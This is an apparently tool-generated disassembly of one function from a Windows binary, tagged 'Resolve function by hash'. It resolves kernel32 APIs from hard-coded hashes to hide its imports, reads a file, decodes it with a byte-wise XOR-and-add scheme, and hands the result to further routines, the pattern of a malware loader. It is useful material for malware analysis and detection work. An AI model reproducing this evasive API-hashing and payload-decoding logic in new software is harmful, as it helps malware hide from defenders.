Function at 0x10001850
Capabilities:
Resolve function by hash

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x70
mov dword [ebp - 0xc], 0
push str.kernel32
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
mov dword [ebp - 8], eax
cmp dword [ebp - 8], 0xffffffff
jne 0x10001878
xor eax, eax
jmp 0x10001aae
mov dword [ebp - 0x14], 0
jmp 0x1000188a
mov eax, dword [ebp - 0x14]
add eax, 1
mov dword [ebp - 0x14], eax
cmp dword [ebp - 0x14], 0x14
jge 0x1000189d
mov ecx, dword [ebp - 0x14]
mov dword [ebp + ecx*4 - 0x68], 0
jmp 0x10001881
push 0xa3c8c8aa
mov edx, dword [ebp - 8]
push edx
call fcn.10001790
mov dword [ebp - 0x68], eax
push 0x30633ac
mov eax, dword [ebp - 8]
push eax
call fcn.10001790
mov dword [ebp - 0x64], eax
push 0x91afca54
mov ecx, dword [ebp - 8]
push ecx
call fcn.10001790
mov dword [ebp - 0x60], eax
push 0x7946c61b
mov edx, dword [ebp - 8]
push edx
call fcn.10001790
mov dword [ebp - 0x5c], eax
push 0x6e824142
mov eax, dword [ebp - 8]
push eax
call fcn.10001790
mov dword [ebp - 0x58], eax
push 0xec0e4e8e
mov ecx, dword [ebp - 8]
push ecx
call fcn.10001790
mov dword [ebp - 0x54], eax
push 0x7c0dfcaa
mov edx, dword [ebp - 8]
push edx
call fcn.10001790
mov dword [ebp - 0x50], eax
push 0x4dc9d5a0
mov eax, dword [ebp - 8]
push eax
call fcn.10001790
mov dword [ebp - 0x4c], eax
push 0x4b1e5adb
mov ecx, dword [ebp - 8]
push ecx
call fcn.10001790
mov dword [ebp - 0x48], eax
push 0x7c0017a5
mov edx, dword [ebp - 8]
push edx
call fcn.10001790
mov dword [ebp - 0x44], eax
push 0xdf7d9bad
mov eax, dword [ebp - 8]
push eax
call fcn.10001790
mov dword [ebp - 0x40], eax
push 0x10fa6516
mov ecx, dword [ebp - 8]
push ecx
call fcn.10001790
mov dword [ebp - 0x3c], eax
push 0xffd97fb
mov edx, dword [ebp - 8]
push edx
call fcn.10001790
mov dword [ebp - 0x38], eax
push 0xc2ffb025
mov eax, dword [ebp - 8]
push eax
call fcn.10001790
mov dword [ebp - 0x34], eax
mov dword [ebp - 0x14], 0
jmp 0x1000199d
mov ecx, dword [ebp - 0x14]
add ecx, 1
mov dword [ebp - 0x14], ecx
cmp dword [ebp - 0x14], 0xe
jge 0x100019b6
mov edx, dword [ebp - 0x14]
cmp dword [ebp + edx*4 - 0x68], 0
jne 0x100019b4
xor eax, eax
jmp 0x10001aae
jmp 0x10001994
push 0
push 0x80
push 3
push 0
push 1
push 0x80000000
mov eax, dword [ebp + 8]
push eax
call dword [ebp - 0x44]
mov dword [ebp - 0x6c], eax
cmp dword [ebp - 0x6c], 0xffffffff
je 0x10001aab
push 0
mov ecx, dword [ebp - 0x6c]
push ecx
call dword [ebp - 0x40]
mov dword [ebp - 0x70], eax
cmp dword [ebp - 0x70], 0x100000
jae 0x10001a97
lea edx, [ebp - 0x68]
push edx
mov eax, dword [ebp - 0x70]
push eax
call fcn.100010a0
mov dword [ebp - 0x18], eax
cmp dword [ebp - 0x18], 0
je 0x10001a97
push 0
lea ecx, [ebp - 4]
push ecx
mov edx, dword [ebp - 0x70]
push edx
mov eax, dword [ebp - 0x18]
push eax
mov ecx, dword [ebp - 0x6c]
push ecx
call dword [ebp - 0x3c]
test eax, eax
je 0x10001a8a
mov edx, dword [ebp - 0x6c]
push edx
call dword [ebp - 0x38]
mov dword [ebp - 0x6c], 0
mov dword [ebp - 0x14], 0
jmp 0x10001a48
mov eax, dword [ebp - 0x14]
add eax, 1
mov dword [ebp - 0x14], eax
mov ecx, dword [ebp - 0x14]
cmp ecx, dword [ebp - 0x70]
jae 0x10001a7a
mov edx, dword [ebp - 0x18]
add edx, dword [ebp - 0x14]
xor eax, eax
mov al, byte [edx]
xor eax, 0x78
add eax, 0xae
and eax, 0x800000ff
jns 0x10001a70
dec eax
or eax, 0xffffff00
inc eax
mov ecx, dword [ebp - 0x18]
add ecx, dword [ebp - 0x14]
mov byte [ecx], al
jmp 0x10001a3f
lea edx, [ebp - 0x68]
push edx
mov eax, dword [ebp - 0x18]
push eax
call fcn.10001530
mov dword [ebp - 0xc], eax
lea ecx, [ebp - 0x68]
push ecx
mov edx, dword [ebp - 0x18]
push edx
call fcn.10001080
cmp dword [ebp - 0x6c], 0
je 0x10001aab
mov eax, dword [ebp - 0x6c]
push eax
call dword [ebp - 0x38]
mov dword [ebp - 0x6c], 0
mov eax, dword [ebp - 0xc]
mov esp, ebp
pop ebp
ret 4